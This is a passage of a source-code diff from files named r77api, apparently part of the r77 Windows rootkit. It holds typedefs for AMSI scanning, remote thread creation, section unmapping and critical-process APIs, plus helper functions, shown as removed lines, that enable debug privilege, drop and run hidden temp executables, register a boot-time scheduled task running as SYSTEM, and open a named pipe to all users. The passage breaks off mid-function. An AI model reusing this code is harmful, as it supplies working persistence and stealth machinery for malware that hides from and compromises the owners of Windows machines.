+ LPVOID ReadOnlySharedMemoryBase;
+ LPVOID ReadOnlySharedMemoryHeap;
+ LPVOID ReadOnlyStaticServerData;
+ LPVOID AnsiCodePageData;
+ LPVOID OemCodePageData;
+ LPVOID UnicodeCaseTableData;
+ DWORD NumberOfProcessors;
+ DWORD NtGlobalFlag;
+ LARGE_INTEGER CriticalSectionTimeout;
+ DWORD HeapSegmentReserve;
+ DWORD HeapSegmentCommit;
+ DWORD HeapDeCommitTotalFreeThreshold;
+ DWORD HeapDeCommitFreeBlockThreshold;
+ DWORD NumberOfHeaps;
+ DWORD MaximumNumberOfHeaps;
+ LPVOID ProcessHeaps;
+ LPVOID GdiSharedHandleTable;
+ LPVOID ProcessStarterHelper;
+ DWORD GdiDCAttributeList;
+ LPVOID LoaderLock;
+ DWORD OSMajorVersion;
+ DWORD OSMinorVersion;
+ WORD OSBuildNumber;
+ WORD OSCSDVersion;
+ DWORD OSPlatformId;
+ DWORD ImageSubsystem;
+ DWORD ImageSubsystemMajorVersion;
+ DWORD ImageSubsystemMinorVersion;
+ DWORD ImageProcessAffinityMask;
+ DWORD GdiHandleBuffer[34];
+ LPVOID PostProcessInitRoutine;
+ LPVOID TlsExpansionBitmap;
+ DWORD TlsExpansionBitmapBits[32];
+ DWORD SessionId;
+ ULARGE_INTEGER AppCompatFlags;
+ ULARGE_INTEGER AppCompatFlagsUser;
+ LPVOID ShimData;
+ LPVOID AppCompatInfo;
+ UNICODE_STRING CSDVersion;
+ LPVOID ActivationContextData;
+ LPVOID ProcessAssemblyStorageMap;
+ LPVOID SystemDefaultActivationContextData;
+ LPVOID SystemAssemblyStorageMap;
+ DWORD MinimumStackCommit;
+} NT_PEB, *PNT_PEB;
+
+typedef struct _NT_IMAGE_RELOC
+{
+ WORD Offset : 12;
+ WORD Type : 4;
+} NT_IMAGE_RELOC, *PNT_IMAGE_RELOC;
+
+typedef struct _NT_PDH_DATA_ITEM_PATH_ELEMENTS_W
+{
+ LPWSTR MachineName;
+ GUID ObjectGuid;
+ DWORD ItemId;
+ LPWSTR InstanceName;
+} NT_PDH_DATA_ITEM_PATH_ELEMENTS_W, *PNT_PDH_DATA_ITEM_PATH_ELEMENTS_W;
+
+typedef struct _NT_PDH_COUNTER_PATH_ELEMENTS_W
+{
+ LPWSTR MachineName;
+ LPWSTR ObjectName;
+ LPWSTR InstanceName;
+ LPWSTR ParentInstance;
+ DWORD InstanceIndex;
+ LPWSTR CounterName;
+} NT_PDH_COUNTER_PATH_ELEMENTS_W, *PNT_PDH_COUNTER_PATH_ELEMENTS_W;
+
+typedef struct _NT_PDH_COUNTER_INFO_W
+{
+ DWORD Length;
+ DWORD Type;
+ DWORD Version;
+ DWORD Status;
+ LONG Scale;
+ LONG DefaultScale;
+ DWORD_PTR UserData;
+ DWORD_PTR QueryUserData;
+ LPWSTR FullPath;
+ union
+ {
+ NT_PDH_DATA_ITEM_PATH_ELEMENTS_W DataItemPath;
+ NT_PDH_COUNTER_PATH_ELEMENTS_W CounterPath;
+ struct
+ {
+ LPWSTR MachineName;
+ LPWSTR ObjectName;
+ LPWSTR InstanceName;
+ LPWSTR ParentInstance;
+ DWORD InstanceIndex;
+ LPWSTR CounterName;
+ };
+ };
+ LPWSTR ExplainText;
+ DWORD DataBuffer[1];
+} NT_PDH_COUNTER_INFO_W, *PNT_PDH_COUNTER_INFO_W;
+
+typedef struct _NT_PDH_RAW_COUNTER
+{
+ volatile DWORD Status;
+ FILETIME TimeStamp;
+ LONGLONG FirstValue;
+ LONGLONG SecondValue;
+ DWORD MultiCount;
+} NT_PDH_RAW_COUNTER, *PNT_PDH_RAW_COUNTER;
+
+typedef struct _NT_PDH_RAW_COUNTER_ITEM_W
+{
+ LPWSTR Name;
+ NT_PDH_RAW_COUNTER RawValue;
+} NT_PDH_RAW_COUNTER_ITEM_W, *PNT_PDH_RAW_COUNTER_ITEM_W;
+
+typedef struct _NT_PDH_FMT_COUNTERVALUE
+{
+ DWORD Status;
+ union
+ {
+ LONG LongValue;
+ double DoubleValue;
+ LONGLONG LargeValue;
+ LPCSTR AnsiStringValue;
+ LPCWSTR WideStringValue;
+ };
+} NT_PDH_FMT_COUNTERVALUE, *PNT_PDH_FMT_COUNTERVALUE;
+
+typedef struct _NT_PDH_FMT_COUNTERVALUE_ITEM_W
+{
+ LPWSTR Name;
+ NT_PDH_FMT_COUNTERVALUE FmtValue;
+} NT_PDH_FMT_COUNTERVALUE_ITEM_W, *PNT_PDH_FMT_COUNTERVALUE_ITEM_W;
+
+typedef NTSTATUS(NTAPI *NT_NTQUERYSYSTEMINFORMATION)(SYSTEM_INFORMATION_CLASS systemInformationClass, LPVOID systemInformation, ULONG systemInformationLength, PULONG returnLength);
+typedef NTSTATUS(NTAPI *NT_NTRESUMETHREAD)(HANDLE thread, PULONG suspendCount);
+typedef NTSTATUS(NTAPI *NT_NTQUERYDIRECTORYFILE)(HANDLE fileHandle, HANDLE event, PIO_APC_ROUTINE apcRoutine, LPVOID apcContext, PIO_STATUS_BLOCK ioStatusBlock, LPVOID fileInformation, ULONG length, FILE_INFORMATION_CLASS fileInformationClass, BOOLEAN returnSingleEntry, PUNICODE_STRING fileName, BOOLEAN restartScan);
+typedef NTSTATUS(NTAPI *NT_NTQUERYDIRECTORYFILEEX)(HANDLE fileHandle, HANDLE event, PIO_APC_ROUTINE apcRoutine, LPVOID apcContext, PIO_STATUS_BLOCK ioStatusBlock, LPVOID fileInformation, ULONG length, FILE_INFORMATION_CLASS fileInformationClass, ULONG queryFlags, PUNICODE_STRING fileName);
+typedef NTSTATUS(NTAPI *NT_NTENUMERATEKEY)(HANDLE key, ULONG index, NT_KEY_INFORMATION_CLASS keyInformationClass, LPVOID keyInformation, ULONG keyInformationLength, PULONG resultLength);
+typedef NTSTATUS(NTAPI *NT_NTENUMERATEVALUEKEY)(HANDLE key, ULONG index, NT_KEY_VALUE_INFORMATION_CLASS keyValueInformationClass, LPVOID keyValueInformation, ULONG keyValueInformationLength, PULONG resultLength);
+typedef BOOL(WINAPI *NT_ENUMSERVICEGROUPW)(SC_HANDLE serviceManager, DWORD serviceType, DWORD serviceState, LPBYTE services, DWORD servicesLength, LPDWORD bytesNeeded, LPDWORD servicesReturned, LPDWORD resumeHandle, LPVOID reserved);
+typedef BOOL(WINAPI *NT_ENUMSERVICESSTATUSEXW)(SC_HANDLE serviceManager, SC_ENUM_TYPE infoLevel, DWORD serviceType, DWORD serviceState, LPBYTE services, DWORD servicesLength, LPDWORD bytesNeeded, LPDWORD servicesReturned, LPDWORD resumeHandle, LPCWSTR groupName);
+typedef NTSTATUS(NTAPI *NT_NTDEVICEIOCONTROLFILE)(HANDLE fileHandle, HANDLE event, PIO_APC_ROUTINE apcRoutine, LPVOID apcContext, PIO_STATUS_BLOCK ioStatusBlock, ULONG ioControlCode, LPVOID inputBuffer, ULONG inputBufferLength, LPVOID outputBuffer, ULONG outputBufferLength);
+typedef PDH_STATUS(WINAPI *NT_PDHGETCOUNTERINFOW)(PDH_HCOUNTER counter, BOOLEAN retrieveExplainText, LPDWORD bufferSize, PNT_PDH_COUNTER_INFO_W buffer);
+typedef PDH_STATUS(WINAPI *NT_PDHGETRAWCOUNTERARRAYW)(PDH_HCOUNTER counter, LPDWORD bufferSize, LPDWORD itemCount, PNT_PDH_RAW_COUNTER_ITEM_W itemBuffer);
+typedef PDH_STATUS(WINAPI *NT_PDHGETFORMATTEDCOUNTERARRAYW)(PDH_HCOUNTER counter, DWORD format, LPDWORD bufferSize, LPDWORD itemCount, PNT_PDH_FMT_COUNTERVALUE_ITEM_W itemBuffer);
+typedef HRESULT(WINAPI *NT_AMSISCANBUFFER)(LPVOID amsiContext, LPVOID buffer, ULONG length, LPCWSTR contentName, LPVOID amsiSession, LPDWORD result);
+typedef NTSTATUS(NTAPI *NT_NTQUERYOBJECT)(HANDLE handle, OBJECT_INFORMATION_CLASS objectInformationClass, LPVOID objectInformation, ULONG objectInformationLength, PULONG returnLength);
+typedef NTSTATUS(NTAPI *NT_NTCREATETHREADEX)(LPHANDLE thread, ACCESS_MASK desiredAccess, LPVOID objectAttributes, HANDLE processHandle, LPVOID startAddress, LPVOID parameter, ULONG flags, SIZE_T stackZeroBits, SIZE_T sizeOfStackCommit, SIZE_T sizeOfStackReserve, LPVOID bytesBuffer);
+typedef NTSTATUS(NTAPI *NT_NTUNMAPVIEWOFSECTION)(HANDLE processHandle, LPVOID baseAddress);
+typedef NTSTATUS(NTAPI *NT_RTLGETVERSION)(PRTL_OSVERSIONINFOW versionInformation);
+typedef NTSTATUS(NTAPI *NT_RTLADJUSTPRIVILEGE)(ULONG privilege, BOOLEAN enablePrivilege, BOOLEAN isThreadPrivilege, PBOOLEAN previousValue);
+typedef NTSTATUS(NTAPI *NT_RTLSETPROCESSISCRITICAL)(BOOLEAN newIsCritical, PBOOLEAN oldIsCritical, BOOLEAN needScb);
+typedef DWORD(NTAPI *NT_NTFLUSHINSTRUCTIONCACHE)(HANDLE process, LPVOID baseAddress, ULONG size);
+typedef HMODULE(WINAPI *NT_LOADLIBRARYA)(LPCSTR fileName);
+typedef FARPROC(WINAPI *NT_GETPROCADDRESS)(HMODULE module, LPCSTR function);
+typedef LPVOID(WINAPI *NT_VIRTUALALLOC)(LPVOID address, SIZE_T size, DWORD allocationType, DWORD protect);
+typedef BOOL(WINAPI *NT_VIRTUALPROTECT)(LPVOID address, SIZE_T size, DWORD newProtect, PDWORD oldProtect);
+typedef BOOL(WINAPI *NT_DLLMAIN)(HINSTANCE module, DWORD reason, LPVOID reserved);
+
#endif
\ No newline at end of file
diff --git a/r77api/r77win.c b/r77api/r77win.c
index e23438b..c7dc8d4 100644
--- a/r77api/r77win.c
+++ b/r77api/r77win.c
@@ -1,1080 +1,1083 @@
-#include "r77win.h"
-#include "ntdll.h"
-#include
-#include
-#include
-#include
-#include
-
-BOOL GetRandomBytes(LPVOID buffer, DWORD size)
-{
- BOOL result = FALSE;
-
- HCRYPTPROV cryptProvider;
- if (CryptAcquireContextW(&cryptProvider, NULL, L"Microsoft Base Cryptographic Provider v1.0", PROV_RSA_FULL, CRYPT_VERIFYCONTEXT))
- {
- if (CryptGenRandom(cryptProvider, size, buffer))
- {
- result = TRUE;
- }
-
- CryptReleaseContext(cryptProvider, 0);
- }
-
- return result;
-}
-BOOL GetRandomString(PWCHAR str, DWORD length)
-{
- WCHAR characters[] = L"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
-
- if (GetRandomBytes(str, length * 2))
- {
- for (DWORD i = 0; i < length; i++)
- {
- str[i] = characters[str[i] % (sizeof(characters) / sizeof(WCHAR) - 1)];
- }
-
- str[length] = L'\0';
- return TRUE;
- }
- else
- {
- return FALSE;
- }
-}
-LPCSTR ConvertStringToAString(LPCWSTR str)
-{
- PCHAR result = NULL;
-
- int length = WideCharToMultiByte(CP_ACP, 0, str, -1, NULL, 0, NULL, NULL);
- if (length > 0)
- {
- result = NEW_ARRAY(CHAR, length);
- if (WideCharToMultiByte(CP_ACP, 0, str, -1, result, length, NULL, NULL) <= 0)
- {
- FREE(result);
- result = NULL;
- }
- }
-
- return result;
-}
-LPWSTR ConvertUnicodeStringToString(UNICODE_STRING str)
-{
- if (str.Buffer)
- {
- PWCHAR buffer = NEW_ARRAY(WCHAR, str.Length / sizeof(WCHAR) + 1);
- i_wmemcpy(buffer, str.Buffer, str.Length / sizeof(WCHAR));
- buffer[str.Length / sizeof(WCHAR)] = L'\0';
-
- return buffer;
- }
- else
- {
- return NULL;
- }
-}
-VOID Int32ToStrW(LONG value, PWCHAR buffer)
-{
- if (value == 0)
- {
- buffer[0] = L'0';
- buffer[1] = L'\0';
- return;
- }
-
- if (value < 0)
- {
- *buffer++ = L'-';
- value = -value;
- }
-
- INT length = 0;
- for (LONG i = value; i; i /= 10)
- {
- length++;
- }
-
- for (INT i = 0; i < length; i++)
- {
- buffer[length - i - 1] = L'0' + value % 10;
- value /= 10;
- }
-
- buffer[length] = L'\0';
-}
-
-BOOL Is64BitOperatingSystem()
-{
- BOOL wow64 = FALSE;
- return BITNESS(64) || IsWow64Process(GetCurrentProcess(), &wow64) && wow64;
-}
-BOOL IsAtLeastWindows10()
-{
- RTL_OSVERSIONINFOW versionInfo;
- versionInfo.dwOSVersionInfoSize = sizeof(RTL_OSVERSIONINFOW);
-
- // Unlike GetVersionEx, RtlGetVersion returns the actual windows version regardless of executable manifest.
- if (NT_SUCCESS(R77_RtlGetVersion(&versionInfo)))
- {
- return versionInfo.dwMajorVersion >= 10;
- }
-
- return FALSE;
-}
-BOOL Is64BitProcess(DWORD processId, LPBOOL is64Bit)
-{
- BOOL result = FALSE;
-
- if (Is64BitOperatingSystem())
- {
- HANDLE process = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, processId);
- if (process)
- {
- BOOL wow64;
- if (IsWow64Process(process, &wow64))
- {
- *is64Bit = wow64 ? FALSE : TRUE;
- result = TRUE;
- }
-
- CloseHandle(process);
- }
- }
- else
- {
- *is64Bit = FALSE;
- result = TRUE;
- }
-
- return result;
-}
-LPVOID GetFunction(LPCSTR dll, LPCSTR function)
-{
- HMODULE module = GetModuleHandleA(dll);
- return module ? (LPVOID)GetProcAddress(module, function) : NULL;
-}
-BOOL GetProcessIntegrityLevel(HANDLE process, LPDWORD integrityLevel)
-{
- BOOL result = FALSE;
-
- HANDLE token;
- if (OpenProcessToken(process, TOKEN_QUERY, &token))
- {
- DWORD tokenSize;
- if (!GetTokenInformation(token, TokenIntegrityLevel, NULL, 0, &tokenSize) && GetLastError() == ERROR_INSUFFICIENT_BUFFER)
- {
- PTOKEN_MANDATORY_LABEL tokenMandatoryLabel = (PTOKEN_MANDATORY_LABEL)LocalAlloc(0, tokenSize);
- if (tokenMandatoryLabel)
- {
- if (GetTokenInformation(token, TokenIntegrityLevel, tokenMandatoryLabel, tokenSize, &tokenSize))
- {
- *integrityLevel = *GetSidSubAuthority(tokenMandatoryLabel->Label.Sid, *GetSidSubAuthorityCount(tokenMandatoryLabel->Label.Sid) - 1);
- result = TRUE;
- }
-
- LocalFree(tokenMandatoryLabel);
- }
- }
-
- CloseHandle(token);
- }
-
- return result;
-}
-BOOL GetProcessFileName(DWORD processId, LPWSTR fileName, DWORD fileNameLength)
-{
- BOOL result = FALSE;
-
- HANDLE process = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, processId);
- if (process)
- {
- WCHAR path[MAX_PATH + 1];
- if (GetProcessImageFileNameW(process, path, MAX_PATH))
- {
- PWCHAR resultFileName = PathFindFileNameW(path);
- if ((DWORD)lstrlenW(resultFileName) <= fileNameLength)
- {
- StrCpyW(fileName, resultFileName);
- result = TRUE;
- }
- }
-
- CloseHandle(process);
- }
-
- return result;
-}
-BOOL GetProcessPath(DWORD processId, LPWSTR fileName, DWORD fileNameLength)
-{
- BOOL result = FALSE;
-
- HANDLE process = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, processId);
- if (process)
- {
- WCHAR path[MAX_PATH + 1];
- if (GetModuleFileNameExW(process, NULL, path, MAX_PATH))
- {
- if ((DWORD)lstrlenW(path) <= fileNameLength)
- {
- StrCpyW(fileName, path);
- result = TRUE;
- }
- }
-
- CloseHandle(process);
- }
-
- return result;
-}
-BOOL GetProcessUserName(HANDLE process, PWCHAR name, LPDWORD nameLength)
-{
- BOOL result = FALSE;
-
- HANDLE token;
- if (OpenProcessToken(process, TOKEN_QUERY, &token))
- {
- DWORD tokenSize = 0;
- if (!GetTokenInformation(token, TokenUser, NULL, 0, &tokenSize) && GetLastError() == ERROR_INSUFFICIENT_BUFFER)
- {
- PTOKEN_USER tokenUser = (PTOKEN_USER)LocalAlloc(0, tokenSize);
- if (tokenUser)
- {
- if (GetTokenInformation(token, TokenUser, tokenUser, tokenSize, &tokenSize))
- {
- WCHAR domain[256];
- DWORD domainLength = 256;
- SID_NAME_USE sidType;
- result = LookupAccountSidW(NULL, tokenUser->User.Sid, name, nameLength, domain, &domainLength, &sidType);
- }
-
- LocalFree(tokenUser);
- }
- }
-
- CloseHandle(token);
- }
-
- return result;
-}
-BOOL EnabledDebugPrivilege()
-{
- BOOL result = FALSE;
-
- HANDLE process = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, GetCurrentProcessId());
- if (process)
- {
- HANDLE token;
- if (OpenProcessToken(process, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &token))
- {
- LUID luid;
- if (LookupPrivilegeValueW(NULL, L"SeDebugPrivilege", &luid))
- {
- TOKEN_PRIVILEGES tokenPrivileges;
- tokenPrivileges.PrivilegeCount = 1;
- tokenPrivileges.Privileges[0].Luid = luid;
- tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
-
- if (AdjustTokenPrivileges(token, FALSE, &tokenPrivileges, sizeof(TOKEN_PRIVILEGES), NULL, NULL))
- {
- result = GetLastError() != ERROR_NOT_ALL_ASSIGNED;
- }
- }
- }
-
- CloseHandle(process);
- }
-
- return result;
-}
-BOOL GetResource(DWORD resourceID, PCSTR type, LPBYTE *data, LPDWORD size)
-{
- HRSRC resource = FindResourceA(NULL, MAKEINTRESOURCEA(resourceID), type);
- if (resource)
- {
- *size = SizeofResource(NULL, resource);
- if (*size)
- {
- HGLOBAL resourceData = LoadResource(NULL, resource);
- if (resourceData)
- {
- *data = (LPBYTE)LockResource(resourceData);
- return TRUE;
- }
- }
- }
-
- return FALSE;
-}
-BOOL GetPathFromHandle(HANDLE file, LPWSTR fileName, DWORD fileNameLength)
-{
- BOOL result = FALSE;
-
- WCHAR path[MAX_PATH + 1];
- if (GetFinalPathNameByHandleW(file, path, MAX_PATH, FILE_NAME_NORMALIZED) > 0 && !StrCmpNIW(path, L"\\\\?\\", 4))
- {
- PWCHAR resultFileName = &path[4];
- if ((DWORD)lstrlenW(resultFileName) <= fileNameLength)
- {
- StrCpyW(fileName, resultFileName);
- result = TRUE;
- }
- }
-
- return result;
-}
-BOOL ReadFileContent(LPCWSTR path, LPBYTE *data, LPDWORD size)
-{
- BOOL result = FALSE;
-
- HANDLE file = CreateFileW(path, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
- if (file != INVALID_HANDLE_VALUE)
- {
- DWORD fileSize = GetFileSize(file, NULL);
- if (fileSize != INVALID_FILE_SIZE)
- {
- LPBYTE fileData = NEW_ARRAY(BYTE, fileSize);
-
- DWORD bytesRead;
- if (ReadFile(file, fileData, fileSize, &bytesRead, NULL) && bytesRead == fileSize)
- {
- *data = fileData;
- if (size) *size = fileSize;
- result = TRUE;
- }
- else
- {
- FREE(fileData);
- }
- }
-
- CloseHandle(file);
- }
-
- return result;
-}
-BOOL ReadFileStringW(HANDLE file, PWCHAR str, DWORD length)
-{
- BOOL result = FALSE;
-
- for (DWORD count = 0; count < length; count++)
- {
- DWORD bytesRead;
- if (!ReadFile(file, &str[count], sizeof(WCHAR), &bytesRead, NULL) || bytesRead != sizeof(WCHAR))
- {
- result = FALSE;
- break;
- }
-
- if (str[count] == L'\0')
- {
- result = TRUE;
- break;
- }
- }
-
- return result;
-}
-BOOL WriteFileContent(LPCWSTR path, LPBYTE data, DWORD size)
-{
- BOOL result = FALSE;
-
- HANDLE file = CreateFileW(path, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
- if (file != INVALID_HANDLE_VALUE)
- {
- DWORD bytesWritten;
- result = WriteFile(file, data, size, &bytesWritten, NULL);
- CloseHandle(file);
- }
-
- return result;
-}
-BOOL CreateTempFile(LPBYTE file, DWORD fileSize, LPCWSTR extension, LPWSTR resultPath)
-{
- BOOL result = FALSE;
- WCHAR tempPath[MAX_PATH + 1];
-
- if (GetTempPathW(MAX_PATH, tempPath))
- {
- WCHAR fileName[MAX_PATH + 1];
- if (GetRandomString(fileName, 8))
- {
- StrCatW(fileName, L".");
- StrCatW(fileName, extension);
-
- if (PathCombineW(resultPath, tempPath, fileName) && WriteFileContent(resultPath, file, fileSize))
- {
- result = TRUE;
- }
- }
- }
-
- return result;
-}
-BOOL ExecuteFile(LPCWSTR path, BOOL deleteFile)
-{
- BOOL result = FALSE;
-
- STARTUPINFOW startupInfo;
- PROCESS_INFORMATION processInformation;
- i_memset(&startupInfo, 0, sizeof(STARTUPINFOW));
- i_memset(&processInformation, 0, sizeof(PROCESS_INFORMATION));
- startupInfo.cb = sizeof(startupInfo);
-
- if (CreateProcessW(path, NULL, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInformation))
- {
- WaitForSingleObject(processInformation.hProcess, 10000);
- CloseHandle(processInformation.hProcess);
- CloseHandle(processInformation.hThread);
-
- result = TRUE;
- }
-
- if (deleteFile)
- {
- for (int i = 0; i < 10; i++)
- {
- if (DeleteFileW(path)) break;
- Sleep(100);
- }
- }
-
- return result;
-}
-BOOL CreateScheduledTask(LPCWSTR name, LPCWSTR directory, LPCWSTR fileName, LPCWSTR arguments)
-{
- BOOL result = FALSE;
-
- BSTR nameBstr = SysAllocString(name);
- BSTR directoryBstr = SysAllocString(directory);
- BSTR fileNameBstr = SysAllocString(fileName);
- BSTR argumentsBstr = SysAllocString(arguments);
- BSTR folderPathBstr = SysAllocString(L"\\");
- BSTR userIdBstr = SysAllocString(L"SYSTEM");
-
- if (SUCCEEDED(CoInitializeEx(NULL, COINIT_MULTITHREADED)))
- {
- HRESULT initializeSecurityResult = CoInitializeSecurity(NULL, -1, NULL, NULL, RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, 0, NULL);
- if (SUCCEEDED(initializeSecurityResult) || initializeSecurityResult == RPC_E_TOO_LATE)
- {
- ITaskService *service = NULL;
- if (SUCCEEDED(CoCreateInstance((LPCLSID)&CLSID_TaskScheduler, NULL, CLSCTX_INPROC_SERVER, (LPCLSID)&IID_ITaskService, (LPVOID*)&service)))
- {
- VARIANT empty;
- VariantInit(&empty);
-
- if (SUCCEEDED(service->lpVtbl->Connect(service, empty, empty, empty, empty)))
- {
- ITaskFolder *folder = NULL;
- if (SUCCEEDED(service->lpVtbl->GetFolder(service, folderPathBstr, &folder)))
- {
- ITaskDefinition *task = NULL;
- if (SUCCEEDED(service->lpVtbl->NewTask(service, 0, &task)))
- {
- ITaskSettings *settings = NULL;
- if (SUCCEEDED(task->lpVtbl->get_Settings(task, &settings)))
- {
- if (SUCCEEDED(settings->lpVtbl->put_StartWhenAvailable(settings, VARIANT_TRUE)) &&
- SUCCEEDED(settings->lpVtbl->put_DisallowStartIfOnBatteries(settings, VARIANT_FALSE)))
- {
- ITriggerCollection *triggerCollection = NULL;
- if (SUCCEEDED(task->lpVtbl->get_Triggers(task, &triggerCollection)))
- {
- ITrigger *trigger = NULL;
- if (SUCCEEDED(triggerCollection->lpVtbl->Create(triggerCollection, TASK_TRIGGER_BOOT, &trigger)))
- {
- IBootTrigger *bootTrigger = NULL;
- if (SUCCEEDED(trigger->lpVtbl->QueryInterface(trigger, (LPCLSID)&IID_IBootTrigger, (LPVOID*)&bootTrigger)))
- {
- IActionCollection *actionCollection = NULL;
- if (SUCCEEDED(task->lpVtbl->get_Actions(task, &actionCollection)))
- {
- IAction *action = NULL;
- if (SUCCEEDED(actionCollection->lpVtbl->Create(actionCollection, TASK_ACTION_EXEC, &action)))
- {
- IExecAction *execAction = NULL;
- if (SUCCEEDED(action->lpVtbl->QueryInterface(action, (LPCLSID)&IID_IExecAction, (LPVOID*)&execAction)))
- {
- if (SUCCEEDED(execAction->lpVtbl->put_WorkingDirectory(execAction, directoryBstr)) &&
- SUCCEEDED(execAction->lpVtbl->put_Path(execAction, fileNameBstr)) &&
- SUCCEEDED(execAction->lpVtbl->put_Arguments(execAction, argumentsBstr)))
- {
- VARIANT password;
- VariantInit(&password);
-
- VARIANT userId;
- VariantInit(&userId);
- userId.vt = VT_BSTR;
- userId.bstrVal = userIdBstr;
-
- VARIANT sddl;
- VariantInit(&sddl);
-
- IRegisteredTask *registeredTask = NULL;
- HRESULT hr = folder->lpVtbl->RegisterTaskDefinition(folder, nameBstr, task, TASK_CREATE_OR_UPDATE, userId, password, TASK_LOGON_SERVICE_ACCOUNT, sddl, ®isteredTask);
- if (SUCCEEDED(hr))
- {
- result = TRUE;
-
- registeredTask->lpVtbl->Release(registeredTask);
- }
- }
-
- execAction->lpVtbl->Release(execAction);
- }
-
- action->lpVtbl->Release(action);
- }
-
- actionCollection->lpVtbl->Release(actionCollection);
- }
-
- bootTrigger->lpVtbl->Release(bootTrigger);
- }
-
- trigger->lpVtbl->Release(trigger);
- }
-
- triggerCollection->lpVtbl->Release(triggerCollection);
- }
- }
-
- settings->lpVtbl->Release(settings);
- }
-
- task->lpVtbl->Release(task);
- }
-
- folder->lpVtbl->Release(folder);
- }
- }
-
- service->lpVtbl->Release(service);
- }
- }
-
- CoUninitialize();
- }
-
- SysFreeString(nameBstr);
- SysFreeString(directoryBstr);
- SysFreeString(fileNameBstr);
- SysFreeString(argumentsBstr);
- SysFreeString(folderPathBstr);
- SysFreeString(userIdBstr);
-
- return result;
-}
-BOOL RunScheduledTask(LPCWSTR name)
-{
- BOOL result = FALSE;
-
- BSTR nameBstr = SysAllocString(name);
- BSTR folderPathBstr = SysAllocString(L"\\");
-
- if (SUCCEEDED(CoInitializeEx(NULL, COINIT_MULTITHREADED)))
- {
- HRESULT initializeSecurityResult = CoInitializeSecurity(NULL, -1, NULL, NULL, RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, 0, NULL);
- if (SUCCEEDED(initializeSecurityResult) || initializeSecurityResult == RPC_E_TOO_LATE)
- {
- ITaskService *service = NULL;
- if (SUCCEEDED(CoCreateInstance((LPCLSID)&CLSID_TaskScheduler, NULL, CLSCTX_INPROC_SERVER, (LPCLSID)&IID_ITaskService, (LPVOID*)&service)))
- {
- VARIANT empty;
- VariantInit(&empty);
-
- if (SUCCEEDED(service->lpVtbl->Connect(service, empty, empty, empty, empty)))
- {
- ITaskFolder *folder = NULL;
- if (SUCCEEDED(service->lpVtbl->GetFolder(service, folderPathBstr, &folder)))
- {
- IRegisteredTask *task = NULL;
- if (SUCCEEDED(folder->lpVtbl->GetTask(folder, nameBstr, &task)))
- {
- VARIANT params;
- VariantInit(¶ms);
-
- IRunningTask *runningTask = NULL;
- if (SUCCEEDED(task->lpVtbl->Run(task, params, &runningTask)))
- {
- result = TRUE;
-
- runningTask->lpVtbl->Release(runningTask);
- }
-
- task->lpVtbl->Release(task);
- }
-
- folder->lpVtbl->Release(folder);
- }
- }
-
- service->lpVtbl->Release(service);
- }
- }
-
- CoUninitialize();
- }
-
- SysFreeString(nameBstr);
- SysFreeString(folderPathBstr);
-
- return result;
-}
-BOOL DeleteScheduledTask(LPCWSTR name)
-{
- BOOL result = FALSE;
-
- BSTR nameBstr = SysAllocString(name);
- BSTR folderPathBstr = SysAllocString(L"\\");
-
- if (SUCCEEDED(CoInitializeEx(NULL, COINIT_MULTITHREADED)))
- {
- HRESULT initializeSecurityResult = CoInitializeSecurity(NULL, -1, NULL, NULL, RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, 0, NULL);
- if (SUCCEEDED(initializeSecurityResult) || initializeSecurityResult == RPC_E_TOO_LATE)
- {
- ITaskService *service = NULL;
- if (SUCCEEDED(CoCreateInstance((LPCLSID)&CLSID_TaskScheduler, NULL, CLSCTX_INPROC_SERVER, (LPCLSID)&IID_ITaskService, (LPVOID*)&service)))
- {
- VARIANT empty;
- VariantInit(&empty);
-
- if (SUCCEEDED(service->lpVtbl->Connect(service, empty, empty, empty, empty)))
- {
- ITaskFolder *folder = NULL;
- if (SUCCEEDED(service->lpVtbl->GetFolder(service, folderPathBstr, &folder)))
- {
- if (SUCCEEDED(folder->lpVtbl->DeleteTask(folder, nameBstr, 0)))
- {
- result = TRUE;
- }
-
- folder->lpVtbl->Release(folder);
- }
- }
-
- service->lpVtbl->Release(service);
- }
- }
-
- CoUninitialize();
- }
-
- SysFreeString(nameBstr);
- SysFreeString(folderPathBstr);
-
- return result;
-}
-HANDLE CreatePublicNamedPipe(LPCWSTR name)
-{
- // Get security attributes for "EVERYONE", so the named pipe is accessible to all processes.
-
- SID_IDENTIFIER_AUTHORITY authority = SECURITY_WORLD_SID_AUTHORITY;
- PSID everyoneSid;
- if (!AllocateAndInitializeSid(&authority, 1, SECURITY_WORLD_RID, 0, 0, 0, 0, 0, 0, 0, &everyoneSid)) return INVALID_HANDLE_VALUE;
-
- EXPLICIT_ACCESSW explicitAccess;
- i_memset(&explicitAccess, 0, sizeof(EXPLICIT_ACCESSW));
- explicitAccess.grfAccessPermissions = FILE_ALL_ACCESS;
- explicitAccess.grfAccessMode = SET_ACCESS;
- explicitAccess.grfInheritance = NO_INHERITANCE;
- explicitAccess.Trustee.TrusteeForm = TRUSTEE_IS_SID;
- explicitAccess.Trustee.TrusteeType = TRUSTEE_IS_WELL_KNOWN_GROUP;
- explicitAccess.Trustee.ptstrName = (LPWSTR)everyoneSid;
-
- PACL acl;
- if (SetEntriesInAclW(1, &explicitAccess, NULL, &acl) != ERROR_SUCCESS) return INVALID_HANDLE_VALUE;
-
- PSECURITY_DESCRIPTOR securityDescriptor = (PSECURITY_DESCRIPTOR)LocalAlloc(LPTR, SECURITY_DESCRIPTOR_MIN_LENGTH);
- if (!securityDescriptor ||
- !InitializeSecurityDescriptor(securityDescriptor, SECURITY_DESCRIPTOR_REVISION) ||
